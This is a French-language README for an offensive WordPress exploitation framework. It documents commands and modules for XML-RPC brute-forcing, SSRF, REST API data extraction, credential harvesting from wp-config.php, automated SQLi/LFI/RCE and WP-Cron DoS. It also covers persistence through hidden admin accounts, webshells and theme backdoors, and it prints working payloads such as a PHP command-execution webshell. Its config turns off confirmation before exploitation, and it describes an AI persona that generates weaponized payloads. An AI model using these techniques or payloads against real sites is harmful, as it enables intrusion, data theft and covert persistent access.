Framework professionnel d'exploitation WordPress - Niveau Nation State
Framework modulaire ultra-complet pour l'audit offensif de sécurité WordPress, intégrant 20 étapes de reconnaissance, exploitation automatique, persistence, et des capacités d'analyse par IA.
| Module | Description |
|---|---|
| WPScan API | Corrélation CVE WordPress-spécifique |
| XML-RPC Abuse | Brute-force multicall, SSRF, user enum |
| REST API Exploitation | Auth bypass, post modification, data extraction |
| Credential Harvesting | Parse wp-config.php + MySQL remote |
| Nuclei Integration | 16 tags WordPress + templates AI-générés |
| Persistence Module | Admin caché, webshell, backdoors |
| Module | Description |
|---|---|
| WP-Cron Exploitation | DoS flooding, cron hijacking, job enumeration |
| GraphQL Introspection | Schema extraction, user enum, private data access |
| Headless Browser | JS rendering, hidden forms, AJAX capture (Playwright) |
# Cloner
git clone https://github.com/Steph-ux/wp_pwn_framework.git
cd wp_pwn_framework
# Installer dépendances
pip install -r requirements.txt
# Installer Nuclei (optionnel mais recommandé)
go install -v github.com/projectdiscovery/nuclei/v3/cmd/nuclei@latest
nuclei -update-templates
# Configurer
cp .env.example .env
nano .env# API Keys (Optionnelles mais recommandées)
GROQ_API_KEY=your_groq_key # Gratuit sur console.groq.com
WPSCAN_API_KEY=your_wpscan_key # Gratuit sur wpscan.com
VULNERS_API_KEY=your_vulners_key # Optionnel
# AI Model
LLM_MODEL=llama-3.3-70b-versatile# Scan offensif avec 17 étapes + AI
python main.py --target https://target.com --mode aggressive --offensive
# Ou via module
python -m wp_pwn_framework.main --target https://target.com --offensive# SAFE - Passif uniquement (défaut)
python main.py --target https://target.com --mode safe
# MODERATE - Passif + tests non-intrusifs
python main.py --target https://target.com --mode moderate
# AGGRESSIVE - Exploitation active + persistence
python main.py --target https://target.com --mode aggressive --offensive# Subdomain Recon (8 sources)
python main.py --target https://target.com --subdomain-recon
# REST API + GraphQL
python main.py --target https://target.com --api-scan
# XML-RPC Exploitation
python main.py --target https://target.com --xmlrpc
# Nuclei WordPress Scan
python main.py --target https://target.com --nuclei
# AI Analysis
python main.py --target https://target.com --ai-analysis
# Full Recon (toutes les features)
python main.py --target https://target.com --full-recon# WP-Cron Exploitation
python -m wp_pwn_framework.modules.recon_plus.wpcron_exploit https://target.com
# WP-Cron DoS Attack (⚠️ Usage autorisé uniquement)
python -m wp_pwn_framework.modules.recon_plus.wpcron_exploit https://target.com --dos
# GraphQL Introspection
python -m wp_pwn_framework.modules.recon_plus.graphql_exploit https://target.com
# Headless Browser Analysis (Nécessite: pip install playwright)
python -m wp_pwn_framework.modules.recon_plus.headless_browser https://target.compython main.py --web
# Ouvrir http://localhost:5000┌────────────────────────────────────────────────────────────────┐
│ OFFENSIVE RECON PIPELINE v8.5 │
├────────────────────────────────────────────────────────────────┤
│ 1. Crawling & Indexation │
│ 2. HTML Parsing │
│ 3. JavaScript Analysis │
│ 4. Plugin/Theme Fingerprinting │
│ 5. Endpoint Analysis │
│ 6. Vulnerability Detection │
│ 7. CVE Correlation (WPScan API + Vulners) │
│ 8. XML-RPC Exploitation (brute-force, SSRF) │
│ 9. REST API Exploitation (auth bypass, data leak) │
│ 10. Contextual Fuzzing │
│ 11. WordPress Fuzzing │
│ 12. Nuclei Scan (16 tags + AI templates) │
│ 13. Auto Exploitation (SQLi, LFI, RCE) │
│ 14. Persistence (admin, webshell, backdoors) │
│ 15. Safe Verification │
│ 16. AI Analysis (Nation State Persona) │
│ 17. Source Code Audit (0-day Hunter) │
│ 18. WP-Cron Exploitation (DoS, hijacking) ← v8.5 │
│ 19. GraphQL Introspection (schema, user enum) ← v8.5 │
│ 20. Headless Browser (JS rendering, AJAX) ← v8.5 │
└────────────────────────────────────────────────────────────────┘
# Corrélation CVE WordPress-spécifique
# Priorité: WPScan → Base locale → Vulners
CVECorrelator._query_wpscan(plugin_slug, version)| Attaque | Méthode | Impact |
|---|---|---|
| User Enum | enumerate_users() |
Découverte usernames |
| Brute-Force | bruteforce_multicall() |
100 passwords/request |
| SSRF | ssrf_pingback() |
Scan réseau interne, AWS metadata |
| DoS Check | dos_amplification_check() |
Facteur d'amplification |
| Attaque | Méthode | Impact |
|---|---|---|
| User Extraction | extract_users() |
Dump users même si login désactivé |
| Post Modification | test_post_modification() |
CVE-2017-1001000 style bypass |
| Data Extraction | extract_sensitive_data() |
WooCommerce orders/customers |
| Custom Endpoints | discover_custom_endpoints() |
Plugin endpoints |
# Après LFI sur wp-config.php
credentials = _parse_wp_config_credentials(content)
# → DB_NAME, DB_USER, DB_PASSWORD, DB_HOST, AUTH_KEY...
mysql_result = await _try_mysql_connection(credentials)
# → Tentative connexion MySQL distante# 16 tags WordPress complets
WP_FULL_TAGS = [
'wordpress', 'wp', 'wp-plugin', 'wp-theme', 'woocommerce',
'elementor', 'cms', 'file', 'exposure', 'misconfig',
'lfi', 'backup', 'config', 'disclosure', 'debug', 'logs'
]
# Génération AI dynamique
runner = NucleiRunner(target)
await runner.full_scan_with_ai(recon_data, llm_agent)| Type | Méthode | Accès |
|---|---|---|
| Admin User | inject_admin_user() |
WordPress login |
| Webshell | deploy_webshell() |
Cookie + POST |
| Theme Backdoor | inject_theme_backdoor() |
GET param |
| Fake Plugin | create_fake_plugin() |
GET param |
| MU-Plugin | add_wp_cron_backdoor() |
GET param |
from modules.recon_plus.wpcron_exploit import WPCronExploit
async with WPCronExploit(target) as exploit:
# Scan complet
results = await exploit.full_exploit()
# Attaque DoS (⚠️ Usage autorisé uniquement)
stats = await exploit.dos_attack(intensity=10, duration=30)Techniques:
- ✅ Détection endpoint WP-Cron (
/wp-cron.php) - ✅ Test vulnérabilité DoS via cron flooding
- ✅ Enumération des tâches cron (plugins, REST API)
- ✅ Test de cron hijacking (timestamp bypass)
Vulnérabilités détectées:
cron_dos: DoS via requêtes concurrentescron_timestamp_bypass: Validation timestamp manquantecron_plugin_exposure: Plugins de gestion cron exposés
from modules.recon_plus.graphql_exploit import GraphQLExploit
async with GraphQLExploit(target) as exploit:
# Introspection complète
results = await exploit.full_exploit()
# Query personnalisée
data = await exploit.custom_query(your_graphql_query)Techniques:
- ✅ Détection endpoints GraphQL (
/graphql,/wp-graphql) - ✅ Introspection schema complet (types, mutations, queries)
- ✅ Extraction users avec emails et rôles
- ✅ Accès posts privés/draft
- ✅ Extraction settings, plugins, themes
- ✅ Détection mutations dangereuses
Queries intégrées:
users: Enumération complète + emailsposts_private: Posts privés accessiblessettings: Configuration siteplugins/themes: Versions installées
from modules.recon_plus.headless_browser import HeadlessBrowser
async with HeadlessBrowser(target, headless=True) as browser:
# Scan JavaScript complet
results = await browser.full_scan()
# Interaction avec formulaires
html = await browser.interact_with_form('#login', {'user': 'test'})Techniques:
- ✅ Rendu JavaScript complet (Playwright)
- ✅ Découverte formulaires cachés/dynamiques
- ✅ Interception requêtes AJAX
- ✅ Extraction endpoints API depuis JS
- ✅ Détection données sensibles (API keys, tokens, emails)
- ✅ Screenshots automatiques
Dépendances:
pip install playwright
playwright install chromiumFindings:
- Formulaires cachés avec nonces WordPress
- Endpoints API non documentés
- Données sensibles exposées (emails, IPs privées)
- AJAX requests vers
admin-ajax.php
wp_pwn_framework/
├── core/
│ └── scanner.py # Scanner principal
├── modules/
│ ├── recon/ # 12 modules recon
│ │ ├── cve_correlator.py # WPScan + Vulners API
│ │ ├── rest_api_scanner.py
│ │ ├── graphql_scanner.py
│ │ └── ...
│ ├── recon_plus/ # 🆕 Modules offensifs
│ │ ├── recon_manager.py # Pipeline 20 étapes
│ │ ├── xmlrpc_exploit.py # XML-RPC abuse
│ │ ├── rest_api_exploit.py # REST API exploit
│ │ ├── nuclei_runner.py # Nuclei + AI templates
│ │ ├── persistence.py # Post-exploitation
│ │ ├── wpcron_exploit.py # 🆕 WP-Cron DoS/hijacking
│ │ ├── graphql_exploit.py # 🆕 GraphQL introspection
│ │ ├── headless_browser.py # 🆕 JS rendering (Playwright)
│ │ ├── auto_exploit.py # SQLi, LFI, RCE
│ │ └── exploit_chain.py # LFI → RCE chains
│ └── ai/
│ ├── llm_agent.py # Multi-provider AI
│ └── cve_searcher.py
├── templates/
│ └── wordpress/ # 🆕 Nuclei custom templates
│ ├── wp-debug-log.yaml
│ ├── wp-config-backup.yaml
│ └── ai_generated/ # 🆕 AI-generated templates
├── web/
│ ├── app.py
│ └── templates/
├── config.py
├── run.py
└── requirements.txt
════════════════════════════════════════════════════════════════
WP PWN Framework v8.0 - NATION STATE OFFENSIVE REPORT
════════════════════════════════════════════════════════════════
Target: https://example.com
WordPress Version: 6.3.1
Security Score: 25/100 (CRITICAL)
🔴 CRITICAL FINDINGS:
├── CVE-2020-25213 - WP File Manager RCE [WPScan API]
├── XML-RPC Brute-Force: admin:password123 [CREDENTIALS FOUND]
├── REST API User Leak: 15 users extracted
├── wp-config.php.bak exposed (DB credentials)
└── Nuclei: 8 critical vulnerabilities
⚔️ EXPLOITATION RESULTS:
├── LFI on /wp-content/plugins/vulnerable/?file=
├── RCE achieved via log poisoning
├── Shell URL: https://example.com/wp-content/uploads/.cache.php
🔒 PERSISTENCE INSTALLED:
├── Admin User: wp_support_123 / P@ssw0rd!
├── Webshell: /wp-content/uploads/.htaccess.php
├── Theme Backdoor: /?wp_verify=TOKEN&c=id
└── Fake Plugin: wp-security-helper
💣 WEAPONIZED PAYLOADS (AI Generated):
├── SQLi: ' UNION SELECT user_login,user_pass FROM wp_users--
├── LFI: php://filter/convert.base64-encode/resource=wp-config.php
└── RCE: <?php system($_GET['cmd']); ?>
════════════════════════════════════════════════════════════════
# API Keys
WPSCAN_API_KEY = os.getenv('WPSCAN_API_KEY')
VULNERS_API_KEY = os.getenv('VULNERS_API_KEY')
GROQ_API_KEY = os.getenv('GROQ_API_KEY')
# Nuclei Settings
NUCLEI_TIMEOUT = 600
NUCLEI_RATE_LIMIT = 100
# Exploitation
EXPLOITATION = {
'mode': 'aggressive',
'auto_persist': True,
'require_confirmation': False
}USAGE LÉGAL UNIQUEMENT
- Pentests autorisés avec accord écrit
- CTF et environnements de test
- Recherche en sécurité autorisée
- Bug bounty avec autorisation
L'auteur décline toute responsabilité en cas d'usage malveillant.
- 🔥 WPScan API : Corrélation CVE WordPress-spécifique
- ⚔️ XML-RPC Abuse : Brute-force multicall, SSRF, user enum
- 🔌 REST API Exploitation : Auth bypass, post modification
- 🔑 Credential Harvesting : Parse wp-config + MySQL
- ⚡ Nuclei Integration : 16 tags + AI templates dynamiques
- 🔒 Persistence Module : Admin, webshell, backdoors
- 🤖 AI Enhancement : Nation State persona, 0-day hunter
- 📊 Logging Production : DEBUG/INFO/ERROR configurable
- ✅ YAML Validation : Templates AI validés via pyyaml
- Offensive Recon Pipeline (13 étapes)
- Auto Exploitation (LFI, SQLi, RCE)
- Exploit Chaining (LFI → RCE)
- JS Analyzer Async
- 12 modules de reconnaissance
- REST API + GraphQL scanning
- CVE correlation engine
- Fork the repository
- Create feature branch (
git checkout -b feature/amazing) - Commit changes (
git commit -m 'Add amazing feature') - Push to branch (
git push origin feature/amazing) - Open Pull Request
Made with ❤️ for ethical hackers and red teamers